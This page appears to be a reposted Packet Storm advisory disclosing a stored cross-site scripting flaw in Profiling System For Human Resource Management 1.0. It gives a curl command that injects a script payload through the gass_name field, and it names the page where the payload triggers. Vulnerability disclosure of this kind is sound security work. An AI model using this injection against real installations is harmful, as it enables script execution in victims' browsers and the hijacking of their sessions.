Profiling System For Human Resource Management 1.0 Cross Site Scripting ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on March 3rd, 2021 📆 | 5209 Views ⚑

0

Profiling System For Human Resource Management 1.0 Cross Site Scripting ≈ Packet Storm

Profiling System For Human Resource Management 1.0 Cross Site Scripting
Posted Mar 2, 2021
Authored by Richard Jones

Profiling System For Human Resource Management version 1.0 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | 8880e83723b9ae2d6ad66acbdb8c253c
# Exploit Title: Profiling System For Human Resource Management | Stored XSS
# Exploit Author: Richard Jones
# Date: 2021-03
# Vendor Homepage: https://www.sourcecodester.com/php/11222/profiling-system-human-resource-management.html
# Software Link:https://www.sourcecodester.com/download-code?nid=11222&title=Profiling+System+For+Human+Resource+Management+using+PHP%2FPDO+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

#Exploit:

Steps.
1: curl http://localhost/ProfilingSystem/edit_gass_rank_query.php --data "gass_id=1" --data "gass_name=%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&update="
2. login and go to http://localhost/ProfilingSystem/gass_rank_table.php the payload will trigger.

Source link

Tagged with:



Leave a Reply